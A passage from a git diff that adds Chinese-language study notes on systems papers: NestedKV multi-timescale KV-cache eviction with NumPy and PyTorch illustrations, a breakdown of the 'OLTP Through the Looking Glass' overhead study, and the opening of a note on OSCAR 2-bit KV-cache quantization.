常在低 attention 区(论文 Figure 1) | +| StreamingLLM | 最近窗口 + sink | 窗口外远程证据丢失 | +| SnapKV | prompt 末尾观察窗 | 全局检索、多跳推理 | +| KeyDiff | Key 相对全局均值的 distinctive | **单一时间尺度** | +| Ada-KV | 自适应 per-head 预算 | 仍常配合单一打分信号 | +| **NestedKV** | 三尺度 Key 余弦异常 + 路由 | 计算稍复杂,prefill 一次性开销 | + +--- + +## 为什么重要 + +长上下文 LLM 的瓶颈越来越清晰:**KV cache 随序列长度线性增长**,在固定 GPU 上,128K prompt + 高 batch 时,transient memory 往往比权重更贵。 + +业界常见路线: + +1. **扩窗口 / 改 RoPE**(YaRN 等)——仍要存完整 KV 或近似。 +2. **流式丢弃**——内存 bounded,但**有损**。 +3. **KV 压缩 / 量化**(H2O、SnapKV、KeyDiff、OSCAR 等)——在 prefill 后删 token 或降精度。 + +NestedKV 占的位置是:**不训练、不量化、只删位置**,但删除策略不再依赖「单一重要性指标」,而是模拟**人脑式分层记忆**:全局背景、局部情节、当前焦点同时存在,再用 surprise 决定何时相信「混合意见」、何时相信「最强单项意见」。 + +论文强调:压缩越狠(\(r\) 越大)、上下文越长,单锚点方法越 brittle,NestedKV 优势越明显——正好对应 serving 场景里最缺 memory 的 regime。 + +--- + +## 核心概念 + +### 1. KV cache = 测试时的有界记忆 + +对冻结 LLM,prefill 后的 KV cache 就是模型带入 decode 的**内部记忆状态** \(M=(K,V)\)。压缩算子 \(\mathcal{C}_\phi\) 产出 \(M^B\),预算 \(B\) 由保留比例 \(r\) 决定:保留约 \((1-r)\) 的 token 位置。 + +NestedKV 的 \(\phi\) **没有可学习参数**,完全由 key 流上的统计量与固定超参定义。 + +### 2. 连续记忆状态:三个时间尺度锚点 + +对每个 token 位置 \(i\),在**归一化 key** \(\hat{k}_i = k_i / \|k_i\|_2\) 上维护: + +| 尺度 | 符号 | 含义 | 公式直觉 | +|------|------|------|----------| +| Stable | \(\mu_s\) | 整段 prompt 的全局均值方向 | 所有 \(\hat{k}_j\) 的平均 | +| Episodic | \(\mu_e(i)\) | token \(i\) 所在 block 的局部均值 | block 大小 \(b=\mathrm{clip}(\lfloor N/32\rfloor, 128, 256)\) | +| Current | \(\mu_c(i)\) | 以 \(i\) 结尾、长度 \(W=64\) 的滑动窗口均值 | 类似「最近在读什么」 | + +三个锚点**不先合并**,各自产生一套排序——这是 **inner learners(内层学习者)**。 + +### 3. 余弦异常分数(Cosine Anomaly) + +若 token 的 key 方向与某锚点高度一致,说明该尺度下「可预测、冗余」;反之则「异常、应保留」: + +\[ +a_s(i) = -\cos(\hat{k}_i, \mu_s),\quad +a_e(i) = -\cos(\hat{k}_i, \mu_e(i)),\quad +a_c(i) = -\cos(\hat{k}_i, \mu_c(i)) +\] + +**分数越高越应保留**。每个尺度在 head 内 min-max 归一化得到 \(\tilde{a}_s, \tilde{a}_e, \tilde{a}_c\)。 + +另外,前 \(n_{\mathrm{sink}}=4\) 个位置(attention sink)被 **pin** 住,赋大分数,避免 StreamingLLM 类问题。 + +### 4. 外层学习者:Head 自适应混合 + +不同 attention head 可能专精不同时间角色(有的盯局部,有的扫全局)。对每个 head: + +1. 算各尺度 top 10% 与 bottom 10% 分数差 \(\Delta_k\)——区分度。 +2. 用 softmax + 固定先验 \((w_s^0, w_e^0, w_c^0)=(0.4, 0.4, 0.2)\) 得到混合权重 \(w_k\)。 +3. 混合分:\(a_{\mathrm{blend}}(i) = \sum_k w_k \tilde{a}_k(i)\)。 + +### 5. Surprise 门控路由 + +当三个尺度对同一 token 的「异常程度」**不一致**时,简单平均会掩盖关键信号。定义 **compression-induced surprise**: + +\[ +s(i) = \mathrm{std}(\tilde{a}_s(i), \tilde{a}_e(i), \tilde{a}_c(i)) +\] + +- surprise **低**:三尺度意见一致 → 用 \(a_{\mathrm{blend}}\)。 +- surprise **高**:取最强单项 \(a_{\mathrm{win}}(i)=\max(\tilde{a}_s,\tilde{a}_e,\tilde{a}_c)\)。 + +用 sigmoid 门控平滑切换: + +\[ +\alpha(i)=\sigma(\kappa(s(i)-\tau)),\quad +a^\star(i)=(1-\alpha(i))a_{\mathrm{blend}}(i)+\alpha(i)a_{\mathrm{win}}(i) +\] + +直觉:**只要有一个时间尺度认为你重要,就别被平均掉**。 + +### 6. Head-wise 记忆竞争(自适应预算) + +同一层内,各 head 的 token 对 \((h,i)\) 按 \(a_{h,i}\) **全局竞争** layer 总预算 \(B_\ell\),而非每 head 均分。每个 head 仍有最小保留量 safeguard。这解耦了两个问题: + +- **head 内**哪些 token 信息量大; +- **head 间**谁该多分 KV 槽位。 + +消融显示:去掉 continuum 三尺度 → RULER 4k \(r=0.75\) **-7.99**;去掉 adaptive 分配 → **-8.41**;两者都去掉 → **-19.10**(超过单独之和,因 top-k 离散决策耦合)。 + +--- + +## 代码示例 1:三尺度锚点与异常分数(NumPy 教学版) + +下面用随机 key 矩阵演示 NestedKV 的核心打分逻辑(省略 sink pin 与 head 竞争,便于零基础理解): + +```python +import numpy as np + +def normalize_keys(K: np.ndarray) -> np.ndarray: + """K: [N, d] -> 单位方向 key""" + return K / (np.linalg.norm(K, axis=1, keepdims=True) + 1e-8) + +def block_id(i: int, N: int, b: int) -> slice: + start = (i // b) * b + end = min(start + b, N) + return slice(start, end) + +def continuum_anchors(k_hat: np.ndarray, W: int = 64) -> tuple[np.ndarray, list[np.ndarray], list[np.ndarray]]: + N = k_hat.shape[0] + b = int(np.clip(N // 32, 128, 256)) + + mu_s = k_hat.mean(axis=0) # stable: 全局均值方向 + + mu_e = [] + mu_c = [] + for i in range(N): + blk = k_hat[block_id(i, N, b)] + mu_e.append(blk.mean(axis=0)) + + lo = max(0, i - W + 1) + mu_c.append(k_hat[lo : i + 1].mean(axis=0)) + + return mu_s, mu_e, mu_c + +def cosine_anomaly(k_hat: np.ndarray, anchors) -> np.ndarray: + """返回每个 token 的三尺度异常分(越大越应保留)""" + mu_s, mu_e, mu_c = anchors + N = k_hat.shape[0] + scores = np.zeros((N, 3)) + + for i in range(N): + ki = k_hat[i] + scores[i, 0] = -np.dot(ki, mu_s) # stable + scores[i, 1] = -np.dot(ki, mu_e[i]) # episodic + scores[i, 2] = -np.dot(ki, mu_c[i]) # current + + # per-scale min-max 归一化(单个 head 内) + for j in range(3): + col = scores[:, j] + scores[:, j] = (col - col.min()) / (col.max() - col.min() + 1e-8) + return scores # [N, 3] + +# --- demo --- +np.random.seed(0) +N, d = 512, 64 +K = np.random.randn(N, d).astype(np.float32) +k_hat = normalize_keys(K) + +anchors = continuum_anchors(k_hat) +tilde_a = cosine_anomaly(k_hat, anchors) + +# 外层:surprise 路由 +surprise = tilde_a.std(axis=1) +a_blend = tilde_a @ np.array([0.4, 0.4, 0.2]) # 简化:固定权重代替 head-adaptive +a_win = tilde_a.max(axis=1) +kappa, tau = 8.0, 0.15 +alpha = 1 / (1 + np.exp(-kappa * (surprise - tau))) +a_star = (1 - alpha) * a_blend + alpha * a_win + +budget = 128 +keep_idx = np.argsort(-a_star)[:budget] +print("保留 token 数:", len(keep_idx), "示例 index:", keep_idx[:8]) +``` + +这段代码对应论文 Section 2.2–2.4 的骨架:**归一化 key → 三锚点 → 三异常分 → surprise 路由 → TopB**。 + +--- + +## 代码示例 2:Prefill 后接入压缩(PyTorch 伪代码) + +NestedKV 在 **prefill 结束、decode 开始前** 对每层 KV 调用一次。下面展示与 HuggingFace 风格 cache 的集成点(伪代码,非官方实现): + +```python +import torch +import torch.nn.functional as F + +@torch.no_grad() +def nestedkv_compress_layer( + keys: torch.Tensor, # [num_heads, seq_len, head_dim] + values: torch.Tensor, # [num_heads, seq_len, head_dim] + retain_ratio: float = 0.25, # 保留 25% => r=0.75 压缩 + sink_tokens: int = 4, + window: int = 64, +) -> tuple[torch.Tensor, torch.Tensor]: + """单层、已分 head 的 KV -> 压缩后 KV""" + H, N, D = keys.shape + budget = max(sink_tokens, int(N * retain_ratio)) + + k_hat = F.normalize(keys, dim=-1) + scores = torch.zeros(H, N, device=keys.device) + + # --- stable anchor (per head) --- + mu_s = k_hat.mean(dim=1, keepdim=True) # [H, 1, D] + a_s = -(k_hat * mu_s).sum(dim=-1) # [H, N] + + # --- episodic + current(逐 head 向量化可进一步优化)--- + b = int(max(128, min(256, N // 32))) + a_e = torch.zeros_like(a_s) + a_c = torch.zeros_like(a_s) + for i in range(N): + bs, be = (i // b) * b, min((i // b + 1) * b, N) + mu_e = k_hat[:, bs:be, :].mean(dim=1) + a_e[:, i] = -(k_hat[:, i, :] * mu_e).sum(dim=-1) + + lo = max(0, i - window + 1) + mu_c = k_hat[:, lo : i + 1, :].mean(dim=1) + a_c[:, i] = -(k_hat[:, i, :] * mu_c).sum(dim=-1) + + stack = torch.stack([a_s, a_e, a_c], dim=-1) # [H, N, 3] + # min-max per (head, scale) + mn = stack.amin(dim=1, keepdim=True) + mx = stack.amax(dim=1, keepdim=True) + tilde = (stack - mn) / (mx - mn + 1e-8) + + # head-adaptive blend(此处用固定先验;完整版用 Δ_k softmax) + w = torch.tensor([0.4, 0.4, 0.2], device=keys.device) + a_blend = (tilde * w).sum(dim=-1) + + surprise = tilde.std(dim=-1) + a_win = tilde.max(dim=-1).values + alpha = torch.sigmoid(8.0 * (surprise - 0.15)) + a_star = (1 - alpha) * a_blend + alpha * a_win + + # pin sink + a_star[:, :sink_tokens] = 1e6 + + # TopB(单层内 head 竞争版需改为全局 (h,i) topk,这里为单 head TopB 简化) + topk = a_star.topk(budget, dim=-1).indices.sort(dim=-1).values + idx = topk.unsqueeze(-1).expand(-1, -1, D) + return keys.gather(1, idx), values.gather(1, idx) + +# 用法:prefill 完成后 +# for layer in model.layers: +# k, v = layer_kv_cache[layer_idx] # 从 prefill 得到 +# k_small, v_small = nestedkv_compress_layer(k, v, retain_ratio=0.25) +# layer_kv_cache[layer_idx] = (k_small, v_small) +# 然后进入 decode,attention 只看见保留下来的位置 +``` + +工程上完整实现还需:**跨 head 的 \(\mathrm{TopB}_{B_\ell}\) 竞争**、与 FlashAttention 的 index 映射、以及每层独立调用。论文报告 32k context 下 prefill 开销相对 KeyDiff **< 0.5%**,decode 延迟与 peak memory 与同预算 baseline 接近。 + +--- + +## 实验结果速览 + +**主模型**:Qwen3-4B(frozen),并报告 Llama-3.2-Instruct。 + +**基准**: + +- **RULER**(4k–32k,合成检索/聚合)—— NestedKV 在多数 context×ratio 格点 best 或 near-best。 +- **LongBench / LongBench-E / LooGLE / InfiniteBench**—— 真实长文档 QA、多跳等。 +- **MMLU-Pro**—— 短上下文知识,\(r=0.25\) 时与 Full KV 差距 **< 0.2** 分,说明 aggressive 压缩未牺牲短 prompt 能力。 + +**关键数字(Qwen3-4B)**: + +| 设定 | NestedKV vs KeyDiff | +|------|---------------------| +| RULER 4k, \(r=0.75\) | **+19.10** | +| LongBench 平均, \(r=0.75\) | 30.77 → **50.06** | +| LongBench, \(r=0.95\) | **37.32** vs 17.55 | + +**效率**:同 \(r\) 下 decode 延迟、peak GPU memory 与 KeyDiff/SnapKV 同级,显著低于 Full KV。 + +--- + +## 与相邻工作的关系 + +- **vs KV-Fold**(同仓库笔记 `kv-fold.md`):KV-Fold **不删 token**,用 chunk 递推拼接完整 KV;NestedKV **主动驱逐**,换更小 memory footprint。一个保真、一个省内存。 +- **vs KeyDiff**:KeyDiff 本质是**单锚点** key 几何 distinctive;NestedKV 把 KeyDiff 式信号放进三尺度 continuum,并加 surprise 路由 + head 竞争。 +- **vs Ada-KV**:Ada-KV 重点在 **budget 怎么分给 head**;NestedKV 两者都做,且打分信号更丰富。 +- **vs Nested Learning (Behrouz et al., 2026)**:NestedKV 借用「嵌套记忆 + 自修改更新规则」的**概念框架**,在测试时用固定规则实例化,不训练 outer learner。 + +--- + +## 局限与开放问题 + +1. **仍是有损压缩**:极端 \(r\) 下必然丢信息;只是比单信号 baseline 丢得更「聪明」。 +2. **Prefill 阶段一次性计算**:三尺度统计 + 路由有额外 CPU/GPU 工作,虽论文称很小,超长 batch serving 仍需 profiling。 +3. **超参固定**:\(W=64\)、先验 \((0.4,0.4,0.2)\)、\(\kappa,\tau\) 等跨 benchmark 共享——换模型族是否要调参,论文外仍待验证。 +4. **仅 key 打分**:Value 随 Key 位置一并保留/丢弃,未单独建模 V 的重要性(与多数 KV eviction 方法相同)。 + +--- + +## 一句话总结 + +NestedKV 把长上下文 KV 压缩看成**多时间尺度的记忆维护问题**:用 stable / episodic / current 三个 key 锚点测量余弦异常,再用 head 自适应混合与 surprise 门控路由合并意见,配合 head 间预算竞争,在**不训练、不改模型**的前提下,尤其在高压缩比与长上下文 regime 显著优于单锚点 eviction 方法。 + +--- + +## 延伸阅读 + +- 论文:[arXiv:2605.26678](https://arxiv.org/abs/2605.26678) +- 概念来源:Nested Learning / Continuum Memory System(Behrouz et al., 2026) +- 相关 baseline:H2O、SnapKV、KeyDiff、Ada-KV、StreamingLLM +- 同主题笔记:本仓库 `kv-fold.md`(递推保完整 KV)、`oscar-int2-kv.md`(INT2 量化 KV) diff --git a/src/content/docs/papers/oltp-looking-glass.md b/src/content/docs/papers/oltp-looking-glass.md new file mode 100644 index 000000000..923577814 --- /dev/null +++ b/src/content/docs/papers/oltp-looking-glass.md @@ -0,0 +1,288 @@ +--- +title: OLTP Through the Looking Glass — 传统数据库的 20 倍开销从哪来 +来源: 'Harizopoulos et al., "OLTP Through the Looking Glass, and What We Found There", SIGMOD 2008' +日期: 2026-06-13 +子分类: 存储与查询 +分类: 数据库 +provenance: pipeline-v3 +--- + +## 从日常类比开始:给超市收银台套四层「合规外套」 + +想象你在一家连锁超市当收银员。真正的工作只有三步:查价、改库存、打小票。按理说每单十几秒就能搞定。 + +但公司规定你必须穿四层外套: + +1. **日志外套(Logging)**:每动一次货架,先在中央账本写一条「谁、何时、改了什么」,还要给货架贴序列号(LSN),确保账本和货架永远对得上。 +2. **锁外套(Locking)**:改某个 SKU 前,向总部锁管理器申请「这条记录归我改」;改完再释放。申请、登记、释放都要走流程。 +3. **闩锁外套(Latching)**:打开共享抽屉(B-tree 页、缓冲池)前,先拿闩锁;多人不能同时翻同一页。 +4. **缓冲池外套(Buffer Management)**:数据明明全在内存里,读写仍要经过「页 ID → 缓冲帧 → 页内偏移」三层间接寻址,像明明东西在桌上,却必须先登记进仓库再取出来。 + +论文作者(Stavros Harizopoulos、Daniel Abadi、Samuel Madden、Michael Stonebraker)把开源数据库 **Shore** 当作这家「穿四层外套的超市」,在 **TPC-C** 子集上逐层剥外套,量每剥一层 CPU 指令数变化。结论惊人:**真正干活的指令只占约 1/60**;剥完四大组件后吞吐从约 **640 TPS 提到约 12,700 TPS(约 20×)**。这篇 SIGMOD 2008 论文直接催生了 **H-Store / VoltDB** 等「去传统包袱」的 OLTP 路线。 + +--- + +## 是什么 + +**OLTP Through the Looking Glass** 不是提出一个新存储引擎,而是一次 **解剖式性能实验**: + +- **对象**:Shore Storage Manager(威斯康星大学 1990 年代的开源 OLTP 存储层,设计继承 Gray & Reuter 经典事务处理与 ARIES 恢复)。 +- **负载**:TPC-C 的 **New Order** 与 **Payment** 两种事务(约 90% 生产流量形态),5 个 warehouse、约 500MB 数据 **全部预载内存**、**单线程**、无磁盘 I/O 争用。 +- **方法**:每去掉或优化一个子系统,都保留 **可运行的完整系统**,用 PAPI 统计 **每条事务的 CPU 指令数**(比 wall-clock 更稳定、可复现)。 +- **对照**:自建 **optimal kernel**——手写内存 B-tree、无事务/无恢复的最小内核,代表「有用功」下界。 + +核心主张:**当 OLTP 数据能放进内存、事务在微秒级完成时,1970 年代为「磁盘慢、内存小、多线程躲 I/O」设计的架构,反而成了主瓶颈。** 且 **没有单一「帐篷里最高那根杆」**——logging、locking、latching、buffer manager、B-tree 杂项各占约 10%–35%。 + +--- + +## 为什么 2008 年这件事重要 + +| 1970s 假设 | 2008 年现实 | +|------------|-------------| +| 数据库 ≫ 内存,必须磁盘驻留 | 廉价 GB 级内存,许多 OLTP 库可全内存 | +| 事务要等磁盘 I/O | 内存命中后,事务 ≈ 几百微秒 CPU | +| 多线程掩盖磁盘延迟 | 无磁盘等待时,多线程带来 latch/锁竞争 | +| WAL + 2PL 是标配 | 集群副本、分区、弱一致性场景下,日志/锁可能是纯开销 | + +论文还列举三类 **可替代传统 OLTP 全功能栈** 的架构方向(后文 H-Store 等均属此类): + +- **无日志(Logless)**:靠副本复制状态而非 REDO log(Harbor、C-Store 等思路)。 +- **单线程(Single-threaded)**:一核一线程跑事务,多核当多节点;去掉 latch 路径。 +- **弱事务(Transaction-less / relaxed)**:最终一致性、快照隔离、或「先读后写、不 abort」的两阶段事务,可省 UNDO 等机制。 + +--- + +## 核心概念 + +### 1. 四大开销组件(按剥离顺序) + +论文在 Shore 中大致按此顺序剥离(组件耦合,顺序受代码结构约束): + +| 组件 | 典型占比(New Order 指令) | 在做什么 | +|------|---------------------------|----------| +| **Logging** | ~12% | 组装 log record、维护 LSN、与 buffer 协调 WAL | +| **Locking** | ~16% | 2PL、锁管理器、层次锁(记录→页→库) | +| **Latching** | ~14% | B-tree 页、buffer pool、fix/pin 路径上的短临界区 | +| **Buffer manager** | ~35% | 页式间接访问;内存 resident 时仍走 fix/pin | +| **Hand-coded B-tree 等** | ~16% | 键比较、目录查找、页大小等可优化项 | +| **Useful work** | ~7% | 真正索引查找 + 更新 | + +读一条记录在传统路径上典型步骤:**加锁 → fix 页进缓冲池 → 算页内偏移 → pin → 拷贝到用户空间改 → 写回**——每一步都可能触发 log/lock/latch。 + +### 2. Lock vs Latch(零基础必分清) + +- **Lock(锁)**:事务隔离语义,由 **Lock Manager** 管理,有 deadlock 检测,参与 2PL 与日志。 +- **Latch(闩锁)**:保护 **物理数据结构**(B-tree 节点、hash 桶),轻量、无 deadlock 检测,程序员保证无死锁。 + +内存 OLTP 里两者叠加:为改一行,可能既 latch 页又 lock 记录。 + +### 3. 「有用功」与 Shore 残核 + +- **Optimal kernel**:~22 μs/事务,~**46,500 TPS**(手写 B-tree,无 Shore 调用栈)。 +- **剥光后的 Shore 残核**:~80 μs/事务,~**12,700 TPS**(仍比 optimal 慢约 3.6×,因调用栈深度和无法完全去掉的 transaction/buffer 壳层)。 +- **开箱 Shore(内存库 + 日志写盘)**:~**640 TPS**。 +- **内存库但不刷 log**:~**1,700 TPS**。 + +New Order 总指令约 **173 万条/事务**;有用功约 **1/60**。残核约为原始 Shore 的 **1/15 指令**,但仍是有用功的 **~4×**。 + +### 4. 实验控制变量 + +- 单机单核 Pentium 4 3.2GHz,1GB RAM,Linux 2.6,gcc -O2。 +- 数据库预载内存,`iostat` 验证无磁盘流量。 +- 跑 40,000 事务取平均;New Order 固定 10 个 item、仅本地 warehouse,减少随机性。 +- Payment:固定按 customer ID 查找、本地 warehouse。 + +### 5. 与 H-Store / 现代内存 OLTP 的 lineage + +论文 Section 2.6 明确:MIT **H-Store** 去掉上述特性可达 **两个数量级**加速。后续商业/开源脉络包括 VoltDB、SAP HANA 思路、SQL Server **Hekaton**(SIGMOD 2013)等——都共享「内存 resident + 减锁减 latch + 编译/专用路径」 DNA。 + +--- + +## 代码示例 1:四层「外套」如何包住一次简单更新 + +下面用 Python 伪代码模拟 Shore 式路径:业务只是 `balance -= amount`,但被 logging / locking / latching / buffer 层层包装。 + +```python +class LegacyOLTP: + """类比 Shore:页式缓冲池 + WAL + 2PL + latch""" + + def __init__(self): + self.buffer_pool = {} # page_id -> bytes + self.lock_table = set() + self.latches = set() + self.log = [] + + def _latch(self, page_id): + while page_id in self.latches: + pass # spin — 真实系统里 CPU 在这里空转 + self.latches.add(page_id) + + def _unlock_latch(self, page_id): + self.latches.discard(page_id) + + def _lock_record(self, rid): + if rid in self.lock_table: + raise RuntimeError("deadlock or wait") + self.lock_table.add(rid) + + def _unlock_record(self, rid): + self.lock_table.discard(rid) + + def _fix_page(self, page_id): + self._latch(page_id) + if page_id not in self.buffer_pool: + self.buffer_pool[page_id] = bytearray(8192) + return self.buffer_pool[page_id] + + def _write_log(self, lsn, page_id, payload): + self.log.append((lsn, page_id, payload)) + + def update_balance(self, page_id, offset, delta, rid, lsn): + self._lock_record(rid) + page = self._fix_page(page_id) + # WAL:先 log 再改页(简化版) + self._write_log(lsn, page_id, f"delta={delta}") + # 模拟 slotted page:拷贝到用户空间再写回 + old = int.from_bytes(page[offset:offset+8], "little") + new_val = old + delta + page[offset:offset+8] = new_val.to_bytes(8, "little") + self._unlock_latch(page_id) + self._unlock_record(rid) + + +class OptimalKernel: + """论文中的 minimal kernel:指针直达,无 log/lock/latch/buffer""" + + def __init__(self): + self.records = {} # rid -> int + + def update_balance(self, rid, delta): + self.records[rid] += delta +``` + +**读代码时的对照**:Legacy 路径里 `_fix_page` + `_write_log` + `_lock_record` 对应论文 Figure 1 中 buffer / logging / locking 大块;Optimal 只有一行算术。论文用真实 Shore + PAPI 证明:这种结构差异在 TPC-C 上会放大到 **20× 吞吐**,而非微优化能抹平。 + +--- + +## 代码示例 2:TPC-C Payment 事务的「调用栈深度」对比 + +论文 Figure 4 给出 Payment 对 Shore 的调用序列。下面用简化 Python 表达 **New Order / Payment 在完整栈 vs 残核** 的差异: + +```python +# --- 完整 Shore 风格 Payment(每层都是函数调用 + 管理器交互)--- + +def payment_shore(tx, district_id, warehouse_id, customer_id, amount): + tx.begin() # 事务管理器:session、监控 + d = tx.btree_lookup("district", district_id) + tx.pin(d); tx.lock(d, mode="X") + + w = tx.btree_lookup("warehouse", warehouse_id) + tx.pin(w); tx.lock(w, mode="X") + + c = tx.btree_lookup("customer", customer_id) + tx.pin(c); tx.lock(c, mode="X") + + tx.update_record(c, field="balance", delta=-amount) # log + buffer + tx.update_record(d, field="ytd", delta=amount) + tx.update_record(w, field="ytd", delta=amount) + tx.create_record("history", {...}) # 又一次 log/alloc + + tx.commit() # flush log、释放锁、写 prepare 记录 + + +# --- 剥光后的「残核」风格:直接指针 + 无 recovery --- + +def payment_stripped(store, district_id, warehouse_id, customer_id, amount): + d = store.districts[district_id] + w = store.warehouses[warehouse_id] + c = store.customers[customer_id] + + c.balance -= amount + d.ytd += amount + w.ytd += amount + store.history.append(HistoryRow(...)) # 单次 append,无 WAL +``` + +Payment 在论文中比 New Order 简单(3 次 lookup + 3 次 update + 1 insert),但 **locking 仍占约 25% 指令**——因为 pin/unpin、commit 都要碰锁管理器。这说明:**即使「业务逻辑轻」,传统栈的固定税仍然很重。** + +--- + +## 剥离实验的关键数字(便于记忆) + +``` +开箱 Shore(内存 + 日志写盘) ~640 TPS +去掉 log 刷盘(仍组装 log) ~1,700 TPS +剥光四大组件后的 Shore 残核 ~12,700 TPS ← 约 20× +Optimal 手写 B-tree 内核 ~46,500 TPS ← 「有用功」上界 +``` + +New Order 指令分解(Figure 1 近似): + +``` +buffer manager ████████████████████ 34.6% +hand-coded B-tree ████████ 16.2% +locking ████████ 16.3% +latching ███████ 14.2% +logging ██████ 11.9% +useful work ███ 6.8% +``` + +--- + +## 论文方法论:为什么「逐层剥」而不是只 profiling + +只做 profiler 会告诉你「锁管理器很热」,但不会证明 **去掉它系统仍正确且快多少**。作者坚持: + +1. 每步修改后系统 **仍能跑完 TPC-C 子集**; +2. 用 **CPU 指令数** 做可复现的横向对比; +3. 与 **optimal kernel** 对照,分离「架构税」与「实现税」。 + +这对今天做性能分析仍有启发:**先量化固定架构成本,再谈算法或索引优化。** + +--- + +## 局限与 2026 年读这篇论文的视角 + +- **单线程基准**:多线程下 latch/锁开销通常 **更高**;论文有意避开线程争用, isolating 组件成本。 +- **Shore 非商业引擎**:残核仍比 optimal 慢 3–4×,说明 **调用栈与模块边界** 本身有代价;商业库(Oracle、SQL Server)内部路径更复杂,但定性结论仍成立。 +- **并非主张去掉 ACID**:论文讨论的是 **在可分区、可副本、可弱一致** 的场景下,全功能栈是否过度;银行核心账仍需要 log + 2PL。 +- **后续工程**:Hekaton、Aurora 存储分离、TiKV/Rocks 等把 log 做成流水线;**开销从「有没有」变成「能不能摊薄、能不能 bypass」**,但 looking-glass 的 **分解框架** 仍适用。 + +--- + +## 与相邻论文/系统对照 + +| 系统/论文 | 与 looking-glass 的关系 | +|-----------|-------------------------| +| **H-Store / VoltDB** | 论文直接预言;分区 + 单线程执行 + 无传统 buffer/2PL | +| **Hekaton (2013)** | SQL Server 内嵌内存引擎;原生编译 + latch-free 索引 + O-MVCC | +| **WiscKey / LSM** | 不同问题(KV 分离键值);同样质疑「通用页式栈」 | +| **Aurora** | Log 即数据库;把 WAL 从实例内 buffer 路径中剥离 | + +--- + +## 零基础自检清单 + +读完后应能回答: + +1. **OLTP 传统四件套**是什么?(B-tree/heap、2PL、WAL、buffer pool) +2. **Lock 和 Latch** 分别保护什么? +3. 为什么 **内存足够大** 时 buffer manager 仍是最大单项开销之一? +4. 论文 **640 → 12,700 TPS** 对比控制了什么变量?(预载内存、单线程、TPC-C 子集) +5. **有用功 1/60** 说明什么?(多数 CPU 花在「数据库机制」而非业务逻辑) +6. 这篇论文和 **H-Store** 的关系? + +--- + +## 延伸阅读 + +- 原文 PDF:[CMU 15-721 课程副本](https://15721.courses.cs.cmu.edu/spring2020/papers/02-inmemory/hstore-lookingglass.pdf) +- ACM DOI:[10.1145/1376616.1376713](https://dl.acm.org/doi/10.1145/1376616.1376713) +- 后续系统:H-Store → VoltDB;同团队 Hekaton 论文(本库 `hekaton.md`) +- 基准:TPC-C 规范 — 理解 New Order / Payment 访问模式 + +--- + +## 一句话总结 + +**OLTP Through the Looking Glass** 用「给 Shore 逐层剥壳」证明:当数据已在内存里时,logging、locking、latching、buffer management 吞掉了绝大部分 CPU,真正业务逻辑只是冰山一角;这不是某个实现 bug,而是 **为磁盘时代设计的架构在内存时代的系统性过剩**——理解这一点,是读懂 H-Store、Hekaton 及现代内存 OLTP 的起点。 diff --git a/src/content/docs/papers/oscar-int2-kv.md b/src/content/docs/papers/oscar-int2-kv.md new file mode 100644 index 000000000..ea547da00 --- /dev/null +++ b/src/content/docs/papers/oscar-int2-kv.md @@ -0,0 +1,341 @@ +--- +title: OSCAR — 面向 2-bit KV Cache 的离线谱协方差感知旋转 +来源: 'Zhou et al., "OSCAR: Offline Spectral Covariance-Aware Rotation for 2-bit KV Cache Quantization", arXiv:2605.17757, 2026' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:把仓库里的货压缩成四档标签 + +想象你经营一个超长货架的仓库(**KV cache**),每个新到的包裹(token)都要贴一张明细卡,供后续拣货员(**attention**)对照订单(**query**)快速找货。 + +- **BF16 原样存储**:每张卡写满 16 位精度数字——准确,但 128K 上下文时仓库面积爆炸,搬运(内存带宽)成为瓶颈。 +- **粗暴 2-bit 压缩**:每张卡只允许四个档位(00/01/10/11)。若按「整张卡的最大最小值」定刻度,少数极端大的数字(**outlier 通道**)会把刻度拉宽,大部分普通数字全挤进同一档——拣货员按卡找货时频繁认错。 +- **Hadamard 旋转(QuaRot 思路)**:先把坐标轴随机搅一搅,让 outlier 分散到各维度——像把尖峰摊平。但搅法**不管拣货员实际怎么查货**,INT2 下仍可能崩。 +- **OSCAR 的做法**:开工前用一小批真实订单(**calibration set**)统计「拣货员最常沿哪些方向查 K/V」,离线算出**固定旋转矩阵**和**裁剪阈值**;上线后长历史用 INT2 存,但**入口几个 sink token** 和**最近一小段窗口**仍用 BF16 原样保留——在约 **2.28 bit/元素** 的有效预算下,尽量让 attention 算出来的分数和输出别跑偏。 + +论文来自 Together AI / Sydney / UIUC 等团队(arXiv:2605.17757),已实现于 **SGLang** 的 paged KV + Triton INT2 decode 路径,在 Qwen3 与 GLM-4.7 等推理模型上验证:KV 显存约 **8×** 压缩,大批次吞吐最高约 **7×**,32K 生成长度下相对 BF16 平均精度差距可压到个位数百分点,而 naive INT2 / QuaRot-INT2 在推理任务上常接近归零。 + +--- + +## 是什么 + +**OSCAR**(**O**ffline **S**pectral **C**ovariance-**A**ware **R**otation)是一套 **INT2 KV cache 量化 + 在线 serving** 的完整方案,核心主张是: + +> 优化目标不应是「KV 张量重建误差最小」,而应是「**attention 实际消费的协方差结构**」在量化后尽量保持。 + +方法分两阶段: + +| 阶段 | 做什么 | 输入/输出 | +|------|--------|-----------| +| **Offline 校准** | 在小数据集上 dump Q/K/V;估计 attention-aware 协方差;特征分解得旋转 `R`;拟合 per-token clip 阈值 | 输出每层每头的 `{k,v}_rotation_*.pt` | +| **Online 推理** | 固定旋转 → clip → INT2 量化打包;sink + recent 保持 BF16;paged cache + 融合 kernel decode | SGLang / vLLM 兼容的 serving | + +有效存储约 **2.28 BPE**(bits per KV element,128K 上下文下),相对 BF16 的 16 BPE 约 **7–8×** KV 压缩。 + +--- + +## 为什么 INT2 KV 特别难 + +Decoder 自回归时,每层为历史 token 缓存 Key/Value。长上下文(32K–128K reasoning trace)下,**KV 显存与带宽**往往超过权重本身。 + +INT2 只有 **4 个重建级别**。KV 激活在 head 维度上存在 **channel-wise outlier**:少数维度极大值主导 min-max scale,导致大量正常维度被量化到同一码本。常见缓解: + +1. **旋转**(Hadamard / 随机正交):摊平 outlier,但 **data-free**,与 attention 无关。 +2. **混合精度窗口**(sink + recent BF16):保护 attention sink 与局部依赖,但中间历史仍须可检索。 +3. **更高比特**(INT4 / 3-bit TurboQuant):精度好,但 BPE 更高。 + +OSCAR 的论点是:在 INT2 极端预算下,**旋转矩阵必须对准 attention 的误差结构**——Keys 通过 `QK^T` 进 logits,Values 通过 softmax 权重进加权和;因此分别用 **`Q^T Q`** 与 **score-weighted value covariance** 来定旋转,而不是 `K^T K` / `V^T V` 这类纯重建目标。 + +--- + +## 核心概念 + +### 1. Attention-aware 协方差目标 + +对每一 transformer 层、每个 KV head(GQA 下按 query 头分组),在校准 token 上估计: + 